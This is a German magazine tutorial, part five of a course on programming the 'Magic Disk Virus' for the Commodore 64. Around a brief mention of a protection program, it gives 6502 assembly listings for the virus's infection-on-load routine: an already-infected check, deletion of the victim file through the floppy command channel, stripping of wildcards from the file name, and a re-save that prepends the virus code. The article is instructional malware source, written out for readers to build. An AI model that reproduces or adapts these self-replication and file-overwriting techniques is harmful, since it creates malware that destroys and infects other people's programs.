Virenprogrammierkurs
Heute sind wir am fünften und somit vorletzten Teil
des Virenkurses angelangt. An dieser Stelle halten
wir es für nötig, Ihnen zu sagen, wie Sie sich gegen
den Magic Disk Virus schützen können. Zahlreiche
Anrufe haben uns seit der Erstveröffentlichung des
Virus erreicht. Alle hatten die Frage zum Inhalt, wie
man sich gegen den Virus schützen kann oder wie man
eine infizierte Diskette wieder bereinigt.
Die Lösung dieses Problems heißt " Protector" und ist
ein kleines Programm, daß Sie neben den Utilities und
Games dieses mal auf der Magic Disk finden.
Eine Anleitung erübrigt sich, da das Programm über
eine gut dokumentierte Tastensteuerung verfügt.
Starten Sie den Protector bitte aus dem Game-Menü
oder " von Hand" durch:
LOAD" PROTECTOR",8
und anschließendem RUN. Jetzt aber zurück zum eigentlichen Kurs.
Heute, beim 5 . Teil des Virenkurses, wollen wir
endlich das Thema Fortpflanzung abhaken. In den letzten Teilen hatten wir uns ja schon gründlich damit
auseinandergesetzt. Fassen wir also zusammen:
Wir wissen nun, daß sich unser Virus beim SAVEn eines
Programms vermehren kann. Dies tut er, indem er sich
VOR ein zu infizierendes Programm hängt. Soweit - sogut.
Die Probleme, die auftreten, wenn er sich beim Laden
vermehren soll, nämlich die Tatsache, daß der Filename mitgerettet werden muß, haben wir auch gemeistert. Wir haben nun beim Ladevorgang den Filenamen
sicher in einem Speicher stehen, so daß wir nun fortfahren können mit dem Vorgang der Vermehrung beim
Laden.
Wie gesagt haben wir den Filenamen gerettet. Wie
haben natürlich auch geprüft, ob unser Programm an
den Basicstart ($0801) geladen wird, damit wir keine
Daten zerstören können. Auch dies war der Fall, das
heißt, alle Voraussetzungen, das File nun endgültig
infizieren zu dürfen, sind erfüllt - bis auf eine, die wir aber erst testen können, nachdem wir das entsprechende Programm geladen haben. Erfüllen wir
Ihm endlich diesen Wunsch und springen einmal zur
Laderoutine. Anschließend haben wir dann erst einmal
unser zu infizierendes Programm im Speicher stehen.
Um dies etwas besser zu erläutern folgt zunächst erst
einmal ein Auszug aus dem Sourcelisting:
1520- jsr $ f4 e5 ; Sprung zur Laderoutine 1530- bcc inftest ; wenn kein Fehler, dann weiter 1540- rts ; sonst Goodbye. . .
In Zeile 1520 sehen Sie den Sprung zur Laderoutine.
Wenn der Prozessor von dort zurückkehrt, haben wir
das Programm im Speicher. Da es aber nun auch sein
kann, daß während dem Ladevorgang ein Fehler aufgetreten ist und somit eine Infektion verheerende Folgen haben könnte ( Zerstörung von Daten!), müssen wir
erst noch auf Fehler testen. Dies ist sehr einfach, da die Loadroutine im Carryflag die Information
zurückgibt, ob beim Laden ein Fehler aufgetreten ist
oder nicht. Bei einem Fehler ist dieses Flag gesetzt
und das Virusprogramm wird abgebrochen. Ansonsten
wird weiterverzweigt zur Routine INFTEST:
1610 - inftest ldy #17 ;Pointer laden 1620 - loop7 lda $0801,y ;Vergleichsbyte laden 1630 - cmp data,y ;und vergleichen 1640 - bne scratch ;ungleich, dann weiter 1650 - dey ;Zähler runterzählen 1660 - bpl loop7 ;und weiter 1670 - jmp ($a002) ;infiziert - auf BASIC
Wie der Name schon vermuten läßt, dient diese Routine
dazu, zu testen, ob ein geladenes Programm schon infiziert ist. Dies geschieht, indem die Routine prüft, ob die ersten 18 Bytes des geladenen Programms mit
den ersten 18 Bytes des Virus übereinstimmen.
Daß nur die ersten 18 Bytes getestet werden, hängt
mit dem Protector zusammen. WIrd mit ihm ein File geschützt, so werden vor dieses File die ersten 18 Bytes des normalen Virusprogramms gehängt. Beim Laden
glaubt der Virus nun, daß er schon ein infiziertes
Programm vor sich hätte und überspringt hier die
Infizierung.
Sollte eines der ersten 18 Bytes ungleich den ersten
Virusbytes sein, so wird sofort zur nächsten Routine
( SCRATCH) verzweigt. Andernfalls wird auf die Routine
in $ a002 verzweigt - das ist der normale Warmstart
des Commodore-Basic.
Nun eine kleine Einsicht in die SCRATCH-Routine:
1700 -scratch lda #01 ;Logische Filenummer 1710 - ldx #08 ;Devicenummer 1720 - ldy #15 ;Kanalnummer 1730 - jsr setpar ;Parameter setzen 1740 - lda lengnam ;Namenslänge laden 1750 - clc ;und 1760 - adc #02 ;2 addieren 1770 - ldx #<(namebuff) ;Buffer-LO laden 1780 - ldy #>(namebuff) ;Buffer-HI laden 1790 - jsr setnam ;Name setzen 1800 - jsr open ;File öffnen 1810 - lda #01 ;und File #1 1820 - jsr close ;wieder schließen
Diese Routine tut nichts anderes, als das File, daß
unser Virus infizieren soll, von Diskette zu löschen, um das infizierte gleich danach wieder draufschreiben zu können. Dies funktioniert denkbar einfach: Wie
wir ja wissen, würde in Basic die Befehlsfolge zum
Löschen eines Files auf Diskette folgendermaßen aussehen:
OPEN 1,8,15,"S:FILENAME" : CLOSE 1
Und genau das tun wir auch in Assembler. Wir öffnen
ein File mit den Parametern:
Logische Filenummer = 1 Geräteadresse = 8 Kanalnummer = 15 (=Befehlskanal)
Wie diese Parameter dann übergeben werden, wissen wir
auch schon, nämlich mit der SETPAR-Routine im ROM des
C64 . Weiter geht es mit der Übergabe des Filenamens.
Hier ist allerdings zu beachten, daß zur Länge des
Filenamens 2 addiert werden muß, da der Name aufgrund
des vorangestellten " S:" um 2 Zeichen länger wird.
Dies geschieht in den Zeilen 1740 bis 1760 . Die Speichervariable LENGNAM kennen wir ja schon; wir hatten
darin die Länge des Filenamens zwischengespeichert.
In den folgenden zwei Zeilen sehen Sie jetzt auch, warum wir beim Laden bei der Angabe des Filenamens
NAMEBUFF+2 angeben mußten. Sehen Sie sich einmal folgende Zeilen an. Sie stehen ganz am Ende des Quellcodelistings:
10190 - namebuff .tx "s:" 10200 - ende .by 0
Wie man sieht, haben wir den Filenamen ab dem Label
" ende" abgelegt, das heißt, wir haben den Filenamen
direkt hinter den Text " S:" in den Speicher geschrieben. Dieser Text fängt genau beim Label
NAMEBUFF an. Also steht nun im Speicher ab NAMEBUFF
folgender Text:
S: FILENAME ( Filename steht für irgendeinen Namen)
. . . womit wir auch schon den Namen hätten, mit dem das
zu Scratch-File geöffnet werden muß. Nun haben wir
nur noch ein LOund ein HI-Byte von NAMEBUFF zu
laden und SETNAM aufzurufen, was in den Zeilen 1770 bis 1790 geschieht.
Als nächstes rufen wir die OPEN-Routine des Betriebssystems auf. Sie öffnet ein logisches File mit den
durch SETPAR übergebenen Parametern und dem durch
SETNAM festgelegten Namen. Anschließend wird gleich
die CLOSE-Routine aufgerufen, die genauso funktioniert wie der Basic-Befehl CLOSE, nur daß hier die
Filenummer ( in diesem Fall 1) im Akku übergeben werden muß ( siehe Zeile 1810) .
Das wäre geschafft. Das alte Programm ist gelöscht, womit wir wieder Platz haben, das neue ( infizierte) Programm abzuspeichern. Vorher müssen wir allerdings
noch etwas berücksichtigen: Es könnte ja sein, daß
der User, der sein Prorgramm laden wollte, den Joker
"*" benutzt hat, um den Programmnamen abzukürzen. Um
zum Beispiel " FILENAME" zu laden, hat er einfach nur
LOAD" FIL*",8 eingegeben.
Wir wissen aber, daß man keinen Programmnamen, der
einen "*"- oder " ?"- Joker enthält, beim SAVEn eines
Programmes nicht verwenden darf. Die Floppy würde
einen SYNTAX ERROR zurücksenden. Um diesen Effekt zu
verhindern, dient die nun folgende Routine ( sie folgt
direkt im Anschluß an die SCRATCH-Routine) :
1840 - ldy lengnam ;Länge als Zeiger 1850 - lda namebuff+1,y ;letztes Zeichen 1860 - cmp #"*" ;vergleiche mit "*" 1870 - bne cont ;ungleich 1880 - dey ;Zeiger runterzählen
In Zeile 1840 laden wir die Länge des Filenamens in
das Y-Register. Wir benutzen es nun als Pointer und
holen uns das letzte Byte aus dem Namenspuffer ( hier
heißt es NAMEBUFF+1) . Dann wird mit dem Stern (*) verglichen. Ist das letzte Zeichen kein Stern, so
wird weiterverzweigt zur Routine CONT. Andernfalls
wird die Filenamenlänge im Y-Register um 1 heruntergezählt, um den Joker auszuschließen. Dann geht es
ebenfalls weiter mit der Routine CONT.
Das zu infizierende Programm wird nun unter einem
kürzeren Namen abgespeichert, in unserem Beispiel ist
es der Name " FIL" . Das könnte einen User stutzig
machen, doch ist es die einzige Möglichkeit, das File
wiedererkennbar abzuspeichern.
Doch nun weiter mit CONT. Da wir nun alle einleitenden Schritte erledigt haben, können wir gleich beim
SAVEn fortfahren. Dazu rufen wir einfach die Routine
SAVE des Betriebssystems auf, welche ein Programm auf
Diskette abspeichert. Das ist genau die Routine, die
wir schon früher so modifiziert haben, daß sich unser
Virus vor das abzuspeichernde Programm hängt. Wir
rufen also ganz normal SAVE auf - der Virus übernimmt
dann schon den Rest.
Hier wieder ein kleiner Auszug aus dem Source-Listing. Wie die SAVE-Routine funktioniert, haben wir
ja im 2 . Teil des Kurses bereits ausführlich besprochen.
1920 -cont tya ;Namenslänge in Akku 1930 - ldx #<(namebuff)+2 ;Namenspuffer LO 1940 - ldy #>(namebuff)+2 ;Namenspuffer HI 1950 - jsr setnam ;Name setzen 1951 - ldx #08 ;Geräteadresse laden 1952 - jsr setpar ;Parameter setzen 1960 - ldx #01 ;Startadresse LO und 1970 - ldy #08 ;HI laden 1980 - stx $c1 ;und 1990 - sty $c2 ;abspeichern 2000 - ldx $ae ;Endadresse LO und 2005 - ldy $af :HI laden 2010 - jsr save ;SAVE aufrufen 2020 - jmp saveerror ;und weiter...
Wie Sie sehen, ein ganz normaler Aufruf, so wie wir
ihn auch in Teil 2 schon hatten. Nur am Schluß wird
weiterverzweigt auf SAVEERROR; die letzte Routine, die wir heute besprechen wollen:
2211 -saveerror lda status ;Status laden 2212 - bne shit ;<>, dann Fehler 2213 - rts ;nicht, dann fertig 2214 -shit lda #<(errortext);Text LO 2215 - lda #>(errortext);Text HI 2217 - jmp strout ;und ausdrucken
Diese Routine fragt das Statusbyte ab, das haargenau
der Statusvariablen ST in Basic entspricht. Ist ein
Fehler beim SAVEn aufgetreten, z. B. DISK FULL oder
ähnliches, so ist hier irgendein Bit gesetzt. Ist das
der Fall, so wird weiterverzweigt zum Label SHIT.
Dort wird dann - wieder mit einer Betriebssystemroutine, nämlich STROUT - ein Text ausgegeben. Der auszugebende Text steht in den Zeilen 10075 bis 10120 :
10075 -errortext .by 13 10080 -.tx "Der Magic Disk-Virus ist in diesem" 10081 -.by 13 10090 -.tx "C64!!! Daten wurden zerstört !" 10091 -.by 13 10100 -.tx "Bitte Programm auf einer anderen Disk" 10101 -.by 13 10110 -.tx "abspeichern !!!" 10120 -.by 13,14,0
Der Bytewert 13 steht für Carriage Return, um den
Text ein wenig zu formatieren. Die 14 am Ende schaltet auf Kleinschrift um. STROUT kehrt nach dem Ausdrucken dieses Textes zum normalen Basic zurück.
Damit wären wir am Ende des 5 . Teils angelangt. Im 6 .
und letzten Teil in der nächsten Ausgabe erfahren Sie
noch etwas über die Initialisierungsroutine und das
kleine Gag-Programm.